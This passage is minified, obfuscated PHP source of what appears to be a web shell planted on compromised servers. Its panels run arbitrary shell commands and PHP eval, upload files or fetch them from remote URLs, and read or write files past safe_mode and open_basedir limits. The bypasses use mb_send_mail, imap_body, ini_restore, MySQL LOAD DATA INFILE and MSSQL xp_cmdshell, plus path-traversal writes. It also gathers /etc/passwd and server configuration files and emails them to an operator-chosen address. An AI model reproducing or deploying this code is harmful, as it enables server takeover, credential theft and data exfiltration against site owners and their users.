z5c(array('act'=>'f','d','f','ft'=>'img','is'=>$v),z8v($v.'%',($is==$v?'17':'16')));}echo z9x(2).'<img alt=\"\" src=\"?act=f&amp;f='.@urlencode($f).'&amp;ft=img&amp;white=1&amp;d='.@urlencode($d).'\"'.($w!=''?' width=\"'.$w.'\"':'').($h!=''?' height=\"'.$h.'\"':'').' border=\"0\" style=\"border: 1px solid #DDDDDD;\">'.z5j().z9x(2);}else{@ob_clean();@header(\"Content-type: \".$mime);echo $r;exit();}break;case 'hex':if(!@isset($hexdump_type))$hexdump_type='';if($hexdump_type==\"full\"){$str=$r;}else{$str=@substr($r,0,16*24);}$n=0;$a0=$a1=$a2='';$ofs=0;$len=@strlen($str);for($i=0;$i<$len;$i++){$a1.=@sprintf('%02X',@ord($str[$i])).z9c();if(@ord($str[$i])==0){$a2.=z5i(\"0\");}elseif(@ord($str[$i])>=0x20&&@ord($str[$i])<=0x7E){$a2.=@htmlspecialchars($str[$i]);}else{$a2.=\".\";}$n++;if($n==24||($i+1==$len&&!@is_int($len\/24))){$n=0;$a0.=@sprintf('%08X',$ofs).z9x();$a1.=z9x();$a2.=z9x();$ofs+=24;}}echo z10e(z9f(z6x(z10e(z7i(z9j($a0,'16').z9j($a1,'17').z9j($a2,'18')),'8').z10e(z9f(z7e(z5c(array('act'=>'f','d','f','ft','hexdump_type'=>($hexdump_type=='full'?'preview':'full')),z8v(($hexdump_type=='full'?z9s(\"122\"):z9s(\"121\")),'7')))),'8'))),'2');break;case 'download':@ob_clean();@header(\"Content-type: application\/octet-stream\");@header(\"Content-disposition: attachment; filename=\\\"\".$f.\"\\\";\");echo $r;exit();break;default:break;}}else{if(!@isset($loadb))$loadb=0;$rbut=z5c($back_form_actions,z8v(z9s(\"470\"),\"7\"));if(@empty($f)){echo z2b(z9s(\"469\").$fmsg.z9c(5).$rbut);}else{switch($ft){case 'new':if(!z4q($d.$f)&&z4j($d)&&!z0v($d)){$loadb=1;}elseif(!z4q($d.$f)){$loadb=1;}elseif(z4q($d.$f)&&z4j($d.$f)){echo z2b(z9s(\"468\",$d.$f).z9c(5).$rbut);}elseif(z4q($f)&&z4j($f)){echo z2b(z9s(\"468\",$f).z9c(5).$rbut);}break;default:if(z4q($d.$f)&&z4j($d.$f)){echo z2b(z9s(\"468\",$d.$f).z9c(5).$rbut);}elseif(z4q($f)&&z4j($f)){echo z2b(z9s(\"468\",$f).z9c(5).$rbut);}elseif(!z4q($d.$f)&&z4j($d)&&z0v($d)&&@strpos($f,\"\/\")===false){echo z2b(z10e(z7i(z9j(z8e(z9s(\"466\",$d.$f)).z5c(array(\"act\"=>\"f\",\"d\",\"f\",\"ft\"=>\"new\"),z8v(z9s(\"195\"),\"7\")).$rbut)),\"2\"));}else{$loadb=1;}break;}}if($loadb){z1q($d.$f);$rf_arr=$sqlrf_arr=$wf_arr=array();$rf_arr[\"include\"]=\"include (safe_mode)\";if($bcurl&&@version_compare(@phpversion(),\"5.2.0\")<=0)$rf_arr[\"curl\"]=\"curl (open_basedir \/ PHP <= 4.4.2, 5.1.4)\";if(!$win&&z7r('mb_send_mail')&&@version_compare(@phpversion(),\"5.2.0\")<=0)$rf_arr[\"mb_send_mail\"]=\"mb_send_mail (safe_mode \/ PHP <= 4.0-4.2.2, 5.x)\";if(z7r('imap_open')&&z7r('imap_body')&&@version_compare(@phpversion(),\"5.2.0\")<=0)$rf_arr[\"imap_body\"]=\"imap_body (safe_mode on PHP <= 5.1.2)\";if(z7r('ini_restore')&&@version_compare(@phpversion(),\"5.2.0\")<=0)$rf_arr[\"ini_restore\"]=\"ini_restore (safe_mode \/ PHP <= 4.4.4, 5.1.6) by NST\";if(z7r('copy')&&@version_compare(@phpversion(),\"5.2.0\")<=0)$rf_arr[\"zlib\"]=\"copy[compress.zlib:\/\/] (safe_mode \/ PHP <= 4.4.2, 5.1.2)\";if($bmysql)$sqlrf_arr[\"mysql\"]=\"mysql (safe_mode)\";if($bmssql)$sqlrf_arr[\"mssql\"]=\"mssql (safe_mode)\";if(z7r('error_log')&&@version_compare(@phpversion(),\"5.2.2\")<=0)$wf_arr[\"error_log\"]=\"error_log[php:\/\/] (open_basedir \/ PHP <= 5.1.4, 4.4.2)\";if(z7r('readfile')&&@version_compare(@phpversion(),\"5.2.2\")<=0)$wf_arr[\"readfile\"]=\"readfile[php:\/\/] (open_basedir \/ PHP <= 5.2.1, 4.4.4)\";if(@version_compare(@phpversion(),\"5.2.4\")<=0)$wf_arr[\"fopen\"]=\"fopen[srpath:\/\/] (open_basedir \/ PHP v5.2.0)\";if(@count($rf_arr)>0){echo z2b(z9s(\"128\"));echo z6d();echo z5c(array(\"act\"=>\"f\",\"d\",\"f\"=>(@isset($readfile)?$readfile:$d.$f),\"ft\"=>\"functions\",\"submit1\"=>\"1\"),z10e(z7i(z5t(z9s(\"129\")).z9j(z6i(\"readfile\",(@isset($readfile)?$readfile:$d.$f),\"0\",\"\",\"9\").z4a(\"readfile_func\",$rf_arr,\"5\",1).z8v(z9s(\"130\"),\"7\"))),\"2\"));if(@isset($submit1)&&$submit1&&@isset($readfile)&&!@empty($readfile)){echo z9m(\"2\").z7p().z5t(z9c()).z7k();switch($readfile_func){case 'include':echo z5w('','1');@include($readfile);echo z5q();break;case 'curl':echo z5w('','1');$ci=@curl_init(\"file:\/\/\".$readfile);$cf=@curl_exec($ci);echo@htmlspecialchars($cf);echo z5q();break;case 'mb_send_mail':echo z5w('','1');$temp=tempnam($d,\"fname\");if(@file_exists($temp))@unlink($temp);$extra=\"-C \".$readfile.\" -X $temp\";@mb_send_mail(NULL,NULL,NULL,NULL,$extra);$str=z9p($temp);echo@htmlspecialchars($str);echo z5q();@unlink($temp);break;case 'imap_body':echo z5w('','1');$stream=@imap_open($readfile,\"\",\"\");$str=@imap_body($stream,1);echo@htmlspecialchars($str);@imap_close($stream);echo z5q();break;case 'ini_restore':@ini_restore(\"safe_mode\");@ini_restore(\"open_basedir\");$str=z9p($readfile);echo z5w('','1').@htmlspecialchars($str).z5q();break;case 'zlib':$str=z9o($readfile);echo z5w('','1').@htmlspecialchars($str).z5q();break;}echo z7g().z7u().z10w();}echo z6d();}if(@count($sqlrf_arr)>0){echo z2b(z9s(\"131\"));echo z6d();echo z5c(array(\"act\"=>\"f\",\"d\",\"f\"=>(@isset($readfile)?$readfile:$d.$f),\"ft\"=>\"functions\",\"submit2\"=>\"1\"),z10e(z7i(z5t(z9s(\"129\")).z9j(z6i(\"readfile\",(@isset($readfile)?$readfile:$d.$f),\"0\",\"\",\"9\").z4a(\"sqlreadfile_func\",$sqlrf_arr,\"5\",1).z8v(z9s(\"130\"),\"7\"))).z7i(z5t(z9s(\"132\")).z9j(z5u(\"sqluser\",\"root\",\"4\",\"\",\"9\").z9c(2).z8e(z9s(\"133\")).z5u(\"sqlpass\",\"\",\"4\").z9c(2).z8e(z9s(\"134\")).z5u(\"sqlport\",\"3306\",\"1\").z9c(2).z8e(z9s(\"135\")).z5u(\"sqldb\",\"mysql\",\"4\"))),\"2\"));if(@isset($submit2)&&$submit2&&@isset($readfile)&&!@empty($readfile)&&@isset($sqluser)&&@isset($sqlpass)&&@isset($sqlport)&&@isset($sqldb)){echo z9m(\"2\").z7p().z5t(z9c()).z7k();switch($sqlreadfile_func){case 'mysql':echo z5w('','1');if(@empty($sqlport))$sqlport=\"3306\";$db=@mysql_connect('localhost:'.$sqlport,$sqluser,$sqlpass);if($db){if(@mysql_select_db($sqldb,$db)){@mysql_query(\"DROP TABLE IF EXISTS temp_mysql_readfile_table\");@mysql_query(\"CREATE TABLE `temp_mysql_readfile_table` ( `file` LONGBLOB NOT NULL )\");@mysql_query(\"LOAD DATA INFILE \\\"\".$readfile.\"\\\" INTO TABLE temp_mysql_readfile_table\");$r=@mysql_query(\"SELECT * FROM temp_mysql_readfile_table\");while(($r_sql=@mysql_fetch_array($r))!==false){echo@htmlspecialchars($r_sql[0]).\"\\r\\n\";}@mysql_query(\"DROP TABLE IF EXISTS temp_mysql_readfile_table\");}else echo z9s(\"136\");@mysql_close($db);}else echo z9s(\"137\",\"MySQL\");echo z5q();break;case 'mssql':echo z5w('','1');if(@empty($sqlport))$sqlport=\"1433\";$db=@mssql_connect('localhost,'.$sqlport,$sqluser,$sqlpass);if($db){if(@mssql_select_db($sqldb,$db)){@mssql_query(\"drop table mssql_readfile_temp_table\",$db);@mssql_query(\"create table mssql_readfile_temp_table ( string VARCHAR (500) NULL)\",$db);@mssql_query(\"insert into mssql_readfile_temp_table EXEC master.dbo.xp_cmdshell '\".$readfile.\"'\",$db);$res=@mssql_query(\"select * from mssql_readfile_temp_table\",$db);while(($row=@mssql_fetch_row($res))!==false){echo@htmlspecialchars($row[0]).\"\\r\\n\";}@mssql_query(\"drop table mssql_readfile_temp_table\",$db);}else echo z9s(\"136\");@mssql_close($db);}else echo z9s(\"137\",\"MsSQL\");echo z5q();break;}echo z7g().z7u().z10w();}echo z6d();}if(@count($wf_arr)>0){echo z2b(z9s(\"138\"));echo z6d();echo z5c(array(\"act\"=>\"f\",\"d\",\"f\"=>(@isset($writefile)?$writefile:$d.$f),\"ft\"=>\"functions\",\"submit3\"=>\"1\"),z10e(z7i(z5t(z9s(\"139\")).z9j(z5u(\"writefile\",$d.$f,\"0\",\"\",\"9\").z4a(\"writefile_func\",$wf_arr,\"5\",1).z8v(z9s(\"141\"),\"7\"))).z7i(z5t(z9s(\"140\")).z9j(z5w(\"writecontent\",\"1\").(@isset($writecontent)?@htmlspecialchars($writecontent):'<? phpinfo(); ?>').z5q())),\"2\"));if(@isset($submit3)&&$submit3&&@isset($writefile)&&!@empty($writefile)){echo z9m(\"2\").z6g().z5t(z9c()).z7k();switch($writefile_func){case 'error_log':@error_log($writecontent,3,\"php:\/\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/\".$writefile);if(z4q($writefile))echo z9s(\"243\");break;case 'readfile':@readfile($writecontent,3,\"php:\/\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/\".$writefile);if(z4q($writefile))echo z9s(\"243\");break;break;case 'fopen':if($fp=@fopen('srpath:\/\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/'.$writefile,\"a\")){@fputs($fp,$writecontent);@fclose($fp);echo z9s(\"243\");}break;default:break;}echo z7g().z7u().z10w();}echo z6d();}}}}if($act=='search'){$ftarget=1;$fullpath=1;if(!@isset($s_in)||@empty($s_in))$s_in=$d;if(!@isset($sn)||@empty($sn)){$sn=\"(.*)\";$sn_reg=1;}if(!@isset($sn_reg))$sn_reg='';if(!@isset($st))$st='';if(!@isset($st_reg))$st_reg='';if(!@isset($st_wwo))$st_wwo='';if(!@isset($st_cs))$st_cs='';if(!@isset($st_not))$st_not='';if(!@isset($s_fd))$s_fd='';if(!@isset($s_rec))$s_rec='1';if(!@isset($find_text)||@empty($find_text))$find_text=\"text\";if(!@isset($find_in_dir)||@empty($find_in_dir))$find_in_dir=$d;if(!@isset($find_in_files)||@empty($find_in_files))$find_in_files=\"*.php;*.txt\";z0d();if(@isset($submit)&&$submit){$found=array();$found_d=0;$found_f=0;$search_i_f=0;$search_i_d=0;$ar=array(\"sn\"=>$sn,\"sn_reg\"=>$sn_reg,\"st\"=>$st,\"st_reg\"=>$st_reg,\"st_wwo\"=>$st_wwo,\"st_cs\"=>$st_cs,\"st_not\"=>$st_not,\"s_fd\"=>$s_fd);$in=@array_unique(@explode(\";\",$s_in));foreach($in as $v){$sdir=$v;z5f($v);}if(@count($found)==0){echo z2b(z9s(\"160\"));}else{$nolsmenu=1;$nohead=1;$ls_a=$found;$act=\"ls\";}}}if($act=='cmd'){$st_a=array(''=>'-',' 2>&1'=>'2>&1');echo z2b(z10e(z7i(z6x(z8e(z9s(\"180\")).z9l('','command').z3e(array('act'=>'cmd','d','cmdsubmit'=>'1')).z6i('cmd','','0').($nix?z4a('stderr',$st_a,'1','1'):'').z8v('&raquo;','7').z9z(),'','2').z6x(z8e(z9s(\"181\")).z5c(array('act'=>'cmd','d','cmdsubmit'=>'1'),z2u('scmd',($win?$winaliases:$nixaliases),'0','1').($nix?z4a('stderr',$st_a,'1','1'):'').z8v('&raquo;','7')),'')),'2'));echo z9m('2').z6g().z6w().z5w('','0',1);if(@isset($cmdsubmit)&&$cmdsubmit){echo z9t((@isset($cmd)?(@isset($stderr)?$cmd.$stderr:$cmd):(@isset($stderr)?$scmd.$stderr:$scmd)));}echo z5q().z7g().z7u().z10w();}if($act=='phpinfo'){$piarr=z0b(1);$h=0;foreach($piarr as $k=>$v){echo z2b(@strtoupper($k));echo z9m('2');$i=0;foreach($v as $a=>$b){if(@is_string($b)){echo z9f(z9j($a,'14','25').z9j($b,'14'),($i%2?'0':'1'));$i++;}}$h++;echo z10w();}}if($act=='sysinfo'){$g_arr=array();$date=@date(\"D M j G:i:s T Y\");$users=array();if($bpasswd)$users=z6m(1);$distro=z1n();$uptime=($nix&&$sh_exec)?z9t(\"uptime\"):'';$system=$host=$kernel=\"\";$sys=(($nix&&$sh_exec)?z9t(\"uname -a\"):(z7r('php_uname')?@php_uname(\"a\"):'   '));if($nix)@list($system,$host,$kernel,)=@explode(\" \",$sys);if(!@empty($sys))$g_arr[]=array(\"System\",$sys,$sys);if(!@empty($system)&&!@empty($kernel))$g_arr[]=array((($linux)?\"Kernel\":\"Version\"),$system.\" \".$kernel,$system.\" \".$kernel);if(!@empty($distro))$g_arr[]=array(\"Distro name\",$distro,nl2br($distro));$idu=\"\";if($nix&&$sh_exec){$idu=z9t(\"id\");$eid=@explode(\" \",$idu);if(@count($eid)>=2)$idu=$eid[0].\" \".$eid[1];}if(!@empty($idu))$g_arr[]=array(\"User id\",$idu,$idu);if(!@empty($uptime))$g_arr[]=array(\"Uptime\",$uptime,$uptime);if(!@empty($date))$g_arr[]=array(\"Local time\",$date,$date);$g_arr[]=array(\"CPU info\",z3f(),z3f());$mem=z5a();$g_arr[]=array(\"RAM info\",$mem[0][1],$mem[0][0].$mem[0][1]);if($nix)$g_arr[]=array(\"RAM buffered\",$mem[1][1],$mem[1][0].$mem[1][1]);if($nix)$g_arr[]=array(\"Swap\",$mem[2][1],$mem[2][0].$mem[2][1]);$disk=z9e();if(@count($disk)>1||!@isset($disk[0][0])){foreach($disk as $dd=>$inf){$g_arr[]=array(\"Space on \".$dd,$inf[1],$inf[0].$inf[1]);}}else{$g_arr[]=array(\"Disk space\",$disk[0][1],$disk[0][0].$disk[0][1]);}if(!@empty($host)){$host.=\" (\".@gethostbyname($host).\") \";}if(@preg_match('\/^\\d\\.\\d\\.\\d\\.\\d$\/',$saddr)){$host.=$saddr;}else{$host.=$saddr.\" (\".@gethostbyname($saddr).\")\";}$g_arr[]=array(\"Hostname\",$host,$host);if(@count($users)>0){if(@isset($viewusers)&&$viewusers){$pusers='';foreach($users as $uarr){$pusers.=z5c(array(\"act\"=>\"ls\",\"d\"=>$uarr[1]),z8v($uarr[0],\"1\"),1).z9c().\" \";}}else{$pusers=@count($users).\" users on this box.\".z9c().z5c(array(\"act\"=>\"sysinfo\",\"d\",\"viewusers\"=>\"1\"),z8v(\"View\",\"1\"));}$g_arr[]=array(\"System users\",\"\",$pusers);}if(@count($g_arr)>0){echo z2b(z9s(\"479\"));echo z9m('2');for($i=0;$i<@count($g_arr);$i++){echo z9f(z9j($g_arr[$i][0],\"14\",\"25\").z9j($g_arr[$i][2],\"14\",\"3\"),($i%2?'0':'1'));}echo z10w();}$bsmed=z8l(\"safe_mode_exec_dir\");$psmed=(($bsmed)?@ini_get(\"safe_mode_exec_dir\"):\"NONE\");$bsmid=z8l(\"safe_mode_include_dir\");$psmid=(($bsmid)?@ini_get(\"safe_mode_include_dir\"):\"NONE\");$opendirs=\"\";if($bopendir){foreach(z9d(@ini_get(\"open_basedir\"))as $od){$opendirs.=z5c(array(\"act\"=>\"ls\",\"d\"=>$od),z8v($od,\"1\"),1).z9c().\" \";}}$dfnc=z6j();if(@count($dfnc)>0){$ndfnc=@implode(\" \",$dfnc);$pdfnc=\"\";foreach($dfnc as $fnc)$pdfnc.=z10y('http:\/\/php.net\/manual\/en\/function.'.@str_replace(\"_\",\"-\",$fnc).'.php',$fnc,\"1\",1).z9c().\" \";}else{$ndfnc=\"NONE\";$pdfnc=z5i(\"NONE\");}$p_arr=array();$p_arr[]=array(\"PHP Version\",@phpversion(),@phpversion().z9c().z5c(array(\"act\"=>\"phpinfo\",\"d\"),z8v(\"PHP Info\",\"1\")));$p_arr[]=array(\"Open Basedir\",(($bopendir)?@ini_get(\"open_basedir\"):\"NONE\"),(($bopendir)?$opendirs:z5i(\"NONE\")));$p_arr[]=array(\"Safe-mode\",(($bsafe)?\"ON\":\"OFF\"),($bsafe?z8z(\"ON\"):z5i(\"OFF\")));if($bsafe){$p_arr[]=array(\"Safe-mode exec dir\",$psmed,(($bsmed)?z5i($psmed):z8z($psmed)));$p_arr[]=array(\"Safe-mode include dir\",$psmid,(($bsmid)?z5i($psmid):z8z($psmid)));}foreach(array(\"register_globals\",\"allow_url_fopen\",\"allow_url_include\",\"memory_limit\",\"file_uploads\",\"upload_tmp_dir\",\"upload_max_filesize\",\"post_max_size\",)as $ini){$p_arr[]=array(z3r(@str_replace(\"_\",\" \",$ini)),z4r(@ini_get($ini)),z4r(@ini_get($ini)));}$p_arr[]=array(\"Disabled Functions\",$ndfnc,$pdfnc);if(@count($p_arr)>0){echo z2b(z9s(\"480\"));echo z9m('2');for($i=0;$i<@count($p_arr);$i++){echo z9f(z9j($p_arr[$i][0],\"14\",\"25\").z9j($p_arr[$i][2],\"14\",\"3\"),($i%2?'0':'1'));}echo z10w();}if($nix){$o_arr=array();$tmp=$tmpp='';foreach(array(\"\/etc\/\"=>array(\"passwd\",\"hosts\",\"modules\",\"fstab\",\"issue\",\"issue.net\",\"motd\"),\"\/proc\/\"=>array(\"cpuinfo\",\"meminfo\",\"version\",\"interrupts\"))as $ed=>$af){foreach($af as $ef){if(z4q($ed.$ef)&&z0n($ed.$ef)){$tmp.=$ed.$ef.\" \";$tmpp.=z5c(array(\"act\"=>\"f\",\"d\"=>$ed,\"f\"=>$ef,\"ft\"=>\"text\"),z8v($ef,\"1\"),1).z9c().\" \";}}}if(!@empty($tmp))$o_arr[]=array(z9s(\"482\"),$tmp,$tmpp);$tmp=$tmpp='';foreach(array(\"\/etc\/\"=>array(\"syslog.conf\",\"syslogd.conf\",\"rsyslog.conf\",\"resolv.conf\",\"httpd.conf\",\"apache2.conf\",\"apache.conf\",\"apache2\/apache.conf\",\"proftpd.conf\",\"proftpd.conf\",\"inetd.conf\"),\"\/etc\/apache2\/\"=>array(\"httpd.conf\",\"apache2.conf\"),\"\/etc\/proftpd\/\"=>array(\"proftpd.conf\"))as $ed=>$af){foreach($af as $ef){if(z4q($ed.$ef)&&z0n($ed.$ef)){$tmp.=$ed.$ef.\" \";$tmpp.=z5c(array(\"act\"=>\"f\",\"d\"=>$ed,\"f\"=>$ef,\"ft\"=>\"text\"),z8v($ef,\"1\"),1).z9c().\" \";}}}if(!@empty($tmp))$o_arr[]=array(z9s(\"483\"),$tmp,$tmpp);$tmp=$tmpp='';foreach(array(\"curl\",\"fetch\",\"links\",\"lynx\",\"GET\",\"w3m\",\"wget\")as $ef){$ff=z8u($ef);if(!@empty($ff)){$tmp.=$ef.\" \";$tmpp.=z5c(array(\"act\"=>\"f\",\"d\"=>z3p($ff),\"f\"=>z2h($ff)),z8v(z2h($ef),\"1\"),1).z9c().\" \";}}$tmp=$tmpp='';foreach(array(\"gcc\",\"cc\",\"c++\",\"g++\",\"nasm\",\"ld\",\"make\",\"cmake\")as $ef){$ff=z8u($ef);if(!@empty($ff)){$tmp.=$ef.\" \";$tmpp.=z5c(array(\"act\"=>\"f\",\"d\"=>z3p($ff),\"f\"=>z2h($ff)),z8v(z2h($ef),\"1\"),1).z9c().\" \";}}if(!@empty($tmp))$o_arr[]=array(z9s(\"484\"),$tmp,$tmpp);$tmp=$tmpp='';foreach(array(\"perl\",\"python\",\"php\",\"ruby\",\"tcl\")as $ef){$ff=z8u($ef);if(!@empty($ff)){$tmp.=$ef.\" \";$tmpp.=z5c(array(\"act\"=>\"f\",\"d\"=>z3p($ff),\"f\"=>z2h($ff)),z8v(z2h($ef),\"1\"),1).z9c().\" \";}}if(!@empty($tmp))$o_arr[]=array(z9s(\"485\"),$tmp,$tmpp);if(@count($o_arr)>0){echo z2b(z9s(\"481\"));echo z9m('2');for($i=0;$i<@count($o_arr);$i++){echo z9f(z9j($o_arr[$i][0],\"14\",\"25\").z9j($o_arr[$i][2],\"14\",\"3\"),($i%2?'0':'1'));}echo z10w();}}if($bmail){$emsg='';$msg='';if(@isset($sendlog)&&$sendlog&&@isset($sysmail)&&!@empty($sysmail)){$line=@str_repeat(\"-\",100).\"\\r\\n\";if(@count($g_arr)>0){$msg.=$line.z9s(\"479\").\"\\r\\n\".$line;for($i=0;$i<@count($g_arr);$i++){if(!@empty($g_arr[$i][1]))$msg.=$g_arr[$i][0].\" : \".$g_arr[$i][1].\"\\r\\n\";}}if(@count($p_arr)>0){$msg.=$line.z9s(\"480\").\"\\n\".$line;for($i=0;$i<@count($p_arr);$i++){if(!@empty($p_arr[$i][1]))$msg.=$p_arr[$i][0].\" : \".$p_arr[$i][1].\"\\r\\n\";}}if(@count($o_arr)>0){$msg.=$line.z9s(\"481\").\"\\n\".$line;for($i=0;$i<@count($o_arr);$i++){if(!@empty($o_arr[$i][1]))$msg.=$o_arr[$i][0].\" : \".$o_arr[$i][1].\"\\r\\n\";}}$msg.=$line;if($bpasswd)$msg.=\"\/etc\/passwd\\n\".$line.z9p(\"\/etc\/passwd\").$line;$emsg=(@mail($sysmail,\"SYSINFO|$saddr\",$msg)?z9s(\"243\"):z9s(\"244\"));}echo z2b(z9s(\"302\").(($emsg!='')?\" : \".$emsg:''));echo z5c(array(\"act\"=>\"sysinfo\",\"d\",\"sendlog\"=>\"1\"),z10e(z5n().z7i(z6x(z5u(\"sysmail\",z7x('2',\"email\"),\"0\").z8v(z9s(\"179\"),\"7\"))).z5n(),\"2\"));}}if($act=='eval'){if(!@isset($evalsubmit)){$eval_txt=1;}elseif(!@isset($eval_txt)){$eval_txt=0;}echo z2b(z9s(\"182\")).z6d();echo z10e(z7i(z6x(z5c(array('act'=>'eval','d','evalsubmit'=>'1'),z5w('eval','1').(@isset($eval)?@htmlspecialchars($eval):'\/\/readfile(\"\/etc\/passwd\");'.\"\\r\\n\").z5q().z9x().z5x(\"left\",\"3\").z8v(z9s(\"183\"),'7','9').z5y(\"eval_txt\",z9s(\"184\"),\"eval_txt\").z5j()))).z5n(),'2');if(@isset($evalsubmit)&&$evalsubmit){$eval=@isset($eval)?$eval:\"\";if(!@empty($eval)){$eval_result=\"\";$tmp=@ob_get_contents();$olddir=@realpath(\".\")||@getcwd();@chdir($d);if($tmp){@ob_clean();eval($eval);$ret=@ob_get_contents();$ret=@convert_cyr_string($ret,\"d\",\"w\");@ob_clean();echo $tmp;if($eval_txt){$eval_result=@htmlspecialchars($ret);}else{$eval_result=$ret;}}else{if($eval_txt){$eval_result=@eval($eval);}else{$eval_result=$ret;}}@chdir($olddir);}if($eval_txt){echo z10e(z7i(z6x(z5w('','1',1).(@isset($eval_result)?$eval_result:'').z5q())).z5n(),'2');}else{echo $eval_result;}}}if($act=='upload'){if(z0v($d)){$wdt=(($use_images)?'<img alt=\"+\" border=\"0\" style=\"vertical-align: middle; padding-left:2px;\" src=\"?act=i&amp;img=ok\">':z5i(\"+\"));}else{$wdt=(($use_images)?'<img alt=\"x\" border=\"0\" style=\"vertical-align: middle; padding-left:2px;\" src=\"?act=i&amp;img=cancel\">':z8z(\"x\"));}$a_get=array();$ls_a=array();$umsg=$mmsg=$rmsg='';if(!@isset($multiupload)){if(@isset($usubmit)&&$usubmit){global $_FILES;$dest='';if(!@empty($_FILES['file1']['tmp_name'])){$dest=$_FILES['file1']['name'];}if(@isset($rfile1)&&!@empty($rfile1)){$dest=$rfile1;}if(!@isset($path1)||@empty($path1))$path1=$d;$path1=z1a($path1);if(!@empty($dest)){if(!@move_uploaded_file($_FILES['file1']['tmp_name'],$path1.$dest)){$umsg=z9s(\"172\",array($_FILES['file1']['name'],$_FILES['file1']['tmp_name'],$path1.$dest));}else{$umsg=z9s(\"173\",array($_FILES['file1']['name'],$path1.$dest));$ls_a[]=$path1.$dest;$nolsmenu=1;$act=\"ls\";$d=$path1;}$umsg=z10e(z7i(z9j($umsg)));}}echo z2b(z9s(\"161\")).$umsg.z10e(z5n().z9f(z9j(z5m(array('act'=>'upload','d','usubmit'=>'1'),z10e(z7i(z5t(z9s(\"162\")).z9j(z9h('file1','2').z8v(z9s(\"170\"),'7').$wdt)).z7i(z5t(z9s(\"163\")).z9j(z6i('rfile1',(@isset($rfile1)?$rfile1:''),\"9\"))).z7i(z5t(z9s(\"164\")).z9j(z6i('path1',(@isset($path1)?$path1:$d),\"9\")))))).z9j(z5c(array('act'=>'upload','d','multiupload'=>'1'),z10e(z7i(z9j(z8e(z9s(\"166\")).z6i('lno',((@isset($lno))?$lno:'10'),'1').z8v(z9s(\"169\"),'7'))))))).z5n(),'2');}else{if(@isset($msubmit)&&$msubmit){global $_FILES;foreach($_FILES as $fk=>$fv){$dest='';if(!@empty($_FILES[$fk]['tmp_name'])){$dest=$_FILES[$fk]['name'];}if(@isset($rfile[$fk])&&!@empty($rfile[$fk])){$dest=$rfile[$fk];}if(!@isset($mpath)||@empty($mpath))$mpath=$d;$mpath=z1a($mpath);if(!@empty($dest)){if(!@move_uploaded_file($_FILES[$fk]['tmp_name'],$mpath.$dest)){$mmsg.=z9s(\"172\",array($_FILES[$fk]['name'],$_FILES[$fk]['tmp_name'],$mpath.$dest)).z9x();}else{$mmsg.=z9s(\"173\",array($_FILES[$fk]['name'],$mpath.$dest)).z9x();$ls_a[]=$mpath.$dest;$nolsmenu=1;$act=\"ls\";$ftarget='1';$d=$mpath;}}}if($mmsg!='')$mmsg=z10e(z7i(z9j($mmsg)));}$form='';if(!@is_numeric($lno))$lno=10;for($i=0;$i<$lno;$i++){$ii=($i+1);$form.=z7i(z5t(z9s(\"162\").\" \".$ii).z9j(z9h('file'.$ii,'2')).z5t(z9s(\"163\")).z9j(z6i('rfile[file'.$ii.']','',\"0\")));}echo z2b(z9s(\"168\")).$mmsg.z5m(array('act'=>'upload','d','multiupload'=>'1','lno','msubmit'=>'1'),z10e(z5n().$form).z10e(z5n().z7i(z5t(z9s(\"164\")).z9j(z6i('mpath',(@isset($mpath)?$mpath:$d),\"9\").z8v(z9s(\"170\"),'7').$wdt)).z5n()));}if($bcurl)$a_get['phpcurl']=\"use php->curl\";if($bfsock)$a_get['fsock']=\"use php->fsockopen\";if(z7r('ini_get')&&z8l('allow_url_fopen')&&z7r('file_get_contents'))$a_get['file_get_contents']=\"use php->file_get_contents\";if($nix&&$sh_exec){foreach($getaliases as $k=>$v){if(z8u($k))$a_get[$k]=\"use cmd->$k\";}}if(@count($a_get)>0){if(@isset($rsubmit)&&$rsubmit){$fct='';if(!@preg_match(\":^(http|https|ftp)\\:\/\/([a-zA-Z0-9\\.\\-]+(\\:[a-zA-Z0-9\\.&%\\$\\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\\-]+\\.)*[a-zA-Z0-9\\-]+\\.[a-zA-Z]{2,4})(\\:[0-9]+)?(\/[^\/][a-zA-Z0-9\\.\\,\\?\\'\\\\\/\\+&%\\$#\\=~_\\-@]*)*$:i\",$uploadurl)){$rmsg=z9s(\"171\",$uploadurl);}else{$dest=z2h($uploadurl);if(@isset($nameurl)&&!@empty($nameurl))$dest=$nameurl;if(@empty($dest))$dest='index.html';if(!@isset($rpath)||@empty($rpath))$rpath=$d;$rpath=z1a($rpath);if(z4q($rpath.$dest)){$i=1;while(z4q($rpath.$dest)){if($i==1){$dest=$dest.\".\".$i;}else{$dest=@substr($dest,0,@strlen($dest)-2).\".\".$i;}$i++;}}if($upwith=='phpcurl'||$upwith=='fsock'||$upwith=='file_get_contents'){if($upwith=='phpcurl')$fct=z3a($uploadurl);if($upwith=='fsock')$fct=z2f($uploadurl);if($upwith=='file_get_contents')$fct=@file_get_contents($uploadurl);if(!$fct||@empty($fct)){$rmsg=z9s(\"174\");}else{if(z9y($rpath.$dest,$fct)){$rmsg=z9s(\"176\",$rpath.$dest);$ls_a[]=$rpath.$dest;$nolsmenu=1;$act=\"ls\";$d=$rpath;}else{$rmsg=z9s(\"175\",$rpath.$dest);}}}else{if($nix&&$sh_exec&&@isset($getaliases[$upwith])){$ucmd=@str_replace('[%1%]',$upwith,$getaliases[$upwith]);$ucmd=@str_replace('[%2%]',$uploadurl,$ucmd);$ucmd=@str_replace('[%3%]',$rpath.$dest,$ucmd);z9t($ucmd,1);if(z4q($rpath.$dest)){$rmsg=z9s(\"176\",$rpath.$dest);$ls_a[]=$rpath.$dest;$nolsmenu=1;$act=\"ls\";$d=$rpath;}else{$rmsg=z9s(\"174\");}}}}if($rmsg!='')$rmsg=z10e(z7i(z9j($rmsg)));}echo 